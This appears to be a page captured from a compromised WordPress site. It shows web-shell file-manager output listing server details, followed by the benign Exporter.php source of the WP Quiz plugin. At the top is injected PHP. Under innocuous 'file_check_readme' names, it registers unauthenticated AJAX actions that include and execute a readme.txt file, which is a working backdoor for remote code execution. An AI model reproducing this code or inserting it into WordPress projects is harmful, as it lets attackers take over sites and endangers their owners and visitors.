if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/wp-quiz/includes/Exporter.php
<?php
/**
 * Exporter
 *
 * @package WPQuiz
 */

namespace WPQuiz;

use WP_Query;

/**
 * Class Exporter
 */
class Exporter {

	/**
	 * Exports quiz.
	 *
	 * @param int $quiz_id Quiz ID.
	 * @return string|false Export string on success, `false` on failure.
	 */
	public function export_quiz( $quiz_id ) {
		$quiz = PostTypeQuiz::get_quiz( $quiz_id );
		if ( ! $quiz ) {
			return false;
		}
		return $quiz->to_json();
	}

	/**
	 * Exports quizzes.
	 *
	 * @param WP_Query $query Optional. WP_Query object.
	 * @return string
	 */
	public function export_quizzes( WP_Query $query = null ) {
		if ( ! $query ) {
			$query = new WP_Query(
				array(
					'post_type'   => PostTypeQuiz::get_name(),
					'post_status' => 'any',
					'nopaging'    => true, // phpcs:ignore
				)
			);
		}
		if ( ! $query->have_posts() ) {
			return '';
		}

		$result = array();
		foreach ( $query->posts as $post ) {
			$quiz = PostTypeQuiz::get_quiz( $post );
			if ( ! $quiz ) {
				continue;
			}
			$result[] = $quiz->to_array();
		}

		return wp_json_encode( $result );
	}

	/**
	 * Exports settings.
	 *
	 * @return string
	 */
	public function export_settings() {
		$settings = get_option( 'wp_quiz_default_settings' );
		if ( ! $settings ) {
			return '';
		}
		return wp_json_encode( $settings );
	}
}